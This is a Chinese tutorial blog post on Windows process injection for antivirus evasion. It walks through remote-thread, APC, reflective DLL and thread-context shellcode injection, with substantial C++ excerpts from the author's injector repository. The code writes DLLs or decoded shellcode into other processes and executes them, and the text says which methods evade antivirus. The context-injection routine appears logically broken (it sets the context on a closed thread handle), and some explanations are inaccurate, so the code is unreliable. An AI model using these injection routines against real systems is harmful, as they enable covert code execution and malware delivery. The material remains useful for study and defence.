公众号:https://mp.weixin.qq.com/s/qYO0Cf5MRT4vKCT5WYz1KQ
或许我们的公众号会有更多你感兴趣的内容
【免杀】常见的DLL和Shellcode注入方式
这里的dll和shellcode注入指的是动态的注入,及进程运行时的注入
关于代码可以从github仓库找到:https://github.com/Joe1sn/S-inject
A. DLL注入
首先回顾一下一个程序是如何加载dll的,使用的是kernel32.dll
的LoadLibraryA
函数
1 2 3
| HMODULE LoadLibraryA( [in] LPCSTR lpLibFileName );
|
lpLibFileName
就是dll文件的路径
由于本篇只是简单的、常见的方法,没有涉及如天堂之门(Heaven’s Gate)等高级技术,需要暂时认为
- 64位dll只能使用64位注入器注入64位程序,32位也是如此
远程线程调用注入
这里用到的是函数createRemoteThread
函数,主要作用就是再其他进程创建一个新的线程
1 2 3 4 5 6 7 8 9
| HANDLE CreateRemoteThread( [in] HANDLE hProcess, [in] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in] LPVOID lpParameter, [in] DWORD dwCreationFlags, [out] LPDWORD lpThreadId );
|
hProcess
:远程进程句柄
lpStartAddress
:线程执行的应用程序定义函数的指针,表示远程进程中线程的起始地址。 函数必须存在于远程进程中
lpParameter
:对应的参数
那么可以得到思路:
-
将dll的路径写入远程的进程(待注入的进程)
-
获得远程进程LoadLibraryA
函数的地址
这里有个小小的trick,windows加载核心DLL(如ntdll.dll
,kernel32.dll
)的时候,相对于内存的位置是固定的,也就是加载到进程的内存是相对固定的,那么我们加载这些dll的内存位置和远程进程的是一样的
-
使用createRemoteThread
创建新的进程
可以得到如下代码(为了排版,所有代码都会省略掉无关部分)
https://github.com/Joe1sn/S-inject/blob/1435a43c613c9cdbb07c9cbe4ad956032f9389f9/S-inject/Injector.cpp#L88
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| void Injector::RemoteThreadInject(DWORD pid) {
SIZE_T dwWriteSize = 0; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); LPVOID pAddress = VirtualAllocEx(hProcess, NULL, 0x100, MEM_COMMIT, PAGE_READWRITE); bRet = WriteProcessMemory(hProcess, pAddress, this->DllPath.c_str(), this->DllPath.size() + 1, &dwWriteSize);
HMODULE Ntdll = LoadLibraryA("kernel32.dll"); LPVOID LoadLibraryBase = GetProcAddress(Ntdll, "LoadLibraryA"); HANDLE hRemoteProcess = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibraryBase, pAddress, NULL, NULL); WaitForSingleObject(hRemoteProcess, 500); VirtualFreeEx(hProcess, pAddress, 0x300, MEM_COMMIT); CloseHandle(hProcess); FreeModule(Ntdll); }
|
那么同样的原理,加载完成DLL后,如何卸载该DLL呢?,可以使用windows提供的函数FreeLibrary
,具体原理类似,读者不妨自己实现一下
https://github.com/Joe1sn/S-inject/blob/1435a43c613c9cdbb07c9cbe4ad956032f9389f9/S-inject/Injector.cpp#L156
APC注入
这里就是利用KiUserDispatch
调度进行APC例程调用,让线程使用LoadLibarary
进行注入
关于Windows APC队列更深入的了解:https://www.anquanke.com/post/id/247813
https://github.com/Joe1sn/S-inject/blob/1435a43c613c9cdbb07c9cbe4ad956032f9389f9/S-inject/Injector.cpp#L304
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| void Injector::ApcInject(DWORD pid) { SIZE_T dwWriteSize = 0; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); LPVOID pAddress = VirtualAllocEx(hProcess, NULL, 0x300, MEM_COMMIT, PAGE_READWRITE);
bRet = WriteProcessMemory(hProcess, pAddress, this->DllPath.c_str(), this->DllPath.size() + 1, &dwWriteSize);
HMODULE Ntdll = LoadLibraryA("kernel32.dll");
LPVOID LoadLibraryBase = GetProcAddress(Ntdll, "LoadLibraryA");
THREADENTRY32 te = { sizeof(THREADENTRY32) }; HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
BOOL bStat = FALSE; HANDLE hThread = NULL;
if (Thread32First(hThreadSnap, &te)) { do { if (te.th32OwnerProcessID == pid) { hThread = OpenThread(PROCESS_ALL_ACCESS, FALSE, te.th32ThreadID); DWORD dwRet = QueueUserAPC((PAPCFUNC)LoadLibraryBase, hThread, (ULONG_PTR)pAddress);
if (dwRet > 0) bStat = TRUE; CloseHandle(hThread); break; } } while (Thread32Next(hThreadSnap, &te)); } VirtualFreeEx(hProcess, pAddress, 0x300, MEM_COMMIT); CloseHandle(hProcess); CloseHandle(hThreadSnap); }
|
还有一个技巧就是使用NTDLL中的未导出函数NtTestAlert
就可以立即调用APC例程,这个方法的好处就是绕过了createRemoteThread
的API调用,使用了QueueUserAPC
进行创建,但是可能会出现APC队列阻塞。也是一个比较入门的免杀手法。
上下文注入
如果你之前在写PE加载器的话,那么自然而然的就想到这个,主要是通过暂停程序,获得并修改上下文,在内存中写入shellcode,然后再恢复就行了,这部分为了理解简单会放到shellcode注入中讲解
用到的主要WINAPI就是
- 创建会shellcode裸函数(
__declspec(naked)
),导出LoadLibrary
等函数
OpenProcess
后再OpenThread
,使用SuspendThread
暂停线程
- 创建类型为
CONTEXT
的变量,初始化context.ContextFlags=CONTEXT_FULL
GetThreadContext
获得上下文
VirualAlloc
获得空间,类似RtlMoveMemory
这种复制shellcode到空间
- 将
context.eip = shellcode_addr
,使用SetThreadContext
重新设置上下文,ResumeThread
恢复线程
反射DLL注入
比较复杂的一种方法,也是注入、免杀成功率比较高的一种方法
首先需要了解DLL加载过后的格式,我这里随意举个使用d3d11.dll的例子
神奇的是加载后的DLL在进程内存和文件中的存储是一致的,我们则可以利用这一特性,仿照loadlibaray
进行自己函数的装载,这里结合 https://github.com/stephenfewer/ReflectiveDLLInjection 讲解
由于上面的分析可以得到大致步骤
- 使用
CreatFile
读取DLL文件,并将内容加载到远程进程
- 找到指定函数的偏移位置(类似于
DllMain
)
- 使用
createRemoteThread
或者其他方法进行注入
https://github.com/Joe1sn/S-inject/blob/1435a43c613c9cdbb07c9cbe4ad956032f9389f9/S-inject/Injector.cpp#L205
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| void Injector::ReflectInject(DWORD pid) { HANDLE hFile = CreateFileA(this->DllPath.c_str(), GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); DWORD dwFileSize = GetFileSize(hFile, NULL);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID pBase = VirtualAllocEx(hProcess, NULL, (SIZE_T)dwFileSize + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SIZE_T dwWriteSize = 0; char* buffer = new char[dwFileSize]; DWORD dwReadSize;
DWORD dwReflectiveLoaderOffset = this->dwGetOffset(buffer, (CHAR*)"ReflectiveLoader");
bool bRet = WriteProcessMemory(hProcess, pBase, buffer, dwFileSize, &dwWriteSize); LPTHREAD_START_ROUTINE lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)pBase + dwReflectiveLoaderOffset);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, pBase, (DWORD)NULL, NULL);
WaitForSingleObject(hThread, 500);
delete[] buffer; VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT); CloseHandle(hFile); CloseHandle(hProcess); CloseHandle(hThread); }
|
关于dwGetOffset
函数 https://github.com/Joe1sn/S-inject/blob/1435a43c613c9cdbb07c9cbe4ad956032f9389f9/S-inject/Injector.cpp#L775 主要是PE文件格式RVA
那套东西,本片文章不再赘述
回到反射式注入,我们的DLL并没有直接调用DllMain
,而是先调用了ReflectiveLoader
这个函数
https://github.com/stephenfewer/ReflectiveDLLInjection/blob/178ba2a6a9feee0a9d9757dcaa65168ced588c12/dll/src/ReflectiveLoader.c#L51
函数主要是从Ldr遍历链上dll,找到一些关键函数例如
1 2 3
| if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) break;
|
之后利用这个API来加载PE文件,大致步骤就是这样的
最后跳转到映射好的DllMain中执行
这种方法的好处十分明显,在远程进程中进行映射,而且由于只需要将内容写入远程进程,所以适合从网络加载,对免杀有好处。缺点自然就是构造dll较为复杂,因为需要一个loader去加载
B. Shellcode注入
这里复习下远程线程调用注入的步骤
- 将dll的路径写入远程的进程(待注入的进程)
- 获得远程进程
LoadLibraryA
函数的地址
- 使用
createRemoteThread
创建新的进程
有趣的是如果我们在步骤2中传入的不是远程进程LoadLibraryA
函数的地址,而是远程的shellcode地址,这让整个情况变得有意思起来,这样就可以使用远程进程加载shellcode了
这里举个例子
https://github.com/Joe1sn/S-inject/blob/1435a43c613c9cdbb07c9cbe4ad956032f9389f9/S-inject/Injector.cpp#L472
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| void Injector::ShellcodeInject(string basedsc, DWORD pid) { BOOL bRet;
string shellcode = Base64Decode(basedsc); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); DWORD size = shellcode.size() + 1; LPVOID pAddress = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
bRet = WriteProcessMemory(hProcess, pAddress, shellcode.c_str(), size - 1, NULL); HANDLE hRemoteProcess = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)pAddress, NULL, NULL, NULL);
WaitForSingleObject(hRemoteProcess, INFINITE); VirtualFreeEx(hProcess, pAddress, shellcode.size() + 1, MEM_COMMIT); CloseHandle(hProcess); }
|
好,这里就可以看下关于上下文注入了
https://github.com/Joe1sn/S-inject/blob/1435a43c613c9cdbb07c9cbe4ad956032f9389f9/S-inject/Injector.cpp#L585
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| void Injector::ContextShellcodeInject(string basedsc, DWORD pid) { BOOL bRet;
string shellcode = Base64Decode(basedsc); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); DWORD size = shellcode.size() + 1; LPVOID pAddress = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_READWRITE);
bRet = WriteProcessMemory(hProcess, pAddress, shellcode.c_str(), size - 1, NULL); shellcode = "\x00\x00\x00\x00";
THREADENTRY32 te = { sizeof(THREADENTRY32) }; HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
BOOL bStat = FALSE; HANDLE hThread = NULL; DWORD dwRet = 0; CONTEXT context = { 0 }; context.ContextFlags = CONTEXT_CONTROL;
if (Thread32First(hThreadSnap, &te)) { while (Thread32Next(hThreadSnap, &te)) { if (te.th32OwnerProcessID == pid) { hThread = OpenThread(PROCESS_ALL_ACCESS, FALSE, te.th32ThreadID); DWORD lpflOldProtect; VirtualProtectEx(hProcess, pAddress, (SIZE_T)size + 1, PAGE_EXECUTE, &lpflOldProtect); dwRet = SuspendThread(hThread);
dwRet = GetThreadContext(hThread, &context); CloseHandle(hThread); continue; }
#ifdef _WIN64 context.Rip = (DWORD64)pAddress; #else context.Eip = (DWORD)pAddress; #endif dwRet = SetThreadContext(hThread, &context);
ResumeThread(hThread); CloseHandle(hThread); break; } } } VirtualFreeEx(hProcess, pAddress, 0x300, MEM_COMMIT); CloseHandle(hProcess); CloseHandle(hThreadSnap);
}
|
核心代码在于
1 2 3 4 5 6 7 8 9 10 11 12 13
| dwRet = SuspendThread(hThread); dwRet = GetThreadContext(hThread, &context); CloseHandle(hThread); continue; } #ifdef _WIN64 context.Rip = (DWORD64)pAddress; #else context.Eip = (DWORD)pAddress; #endif dwRet = SetThreadContext(hThread, &context);
ResumeThread(hThread);
|
和APC注入一样,便利了线程,然后选择一个线程暂停他(SuspendThread
),然后获得当前线程的上下文,上下文包含了寄存器信息,然后我们就该他的ip
寄存器,这样恢复线程后的,下一条指令就是我们的shellcode的地方。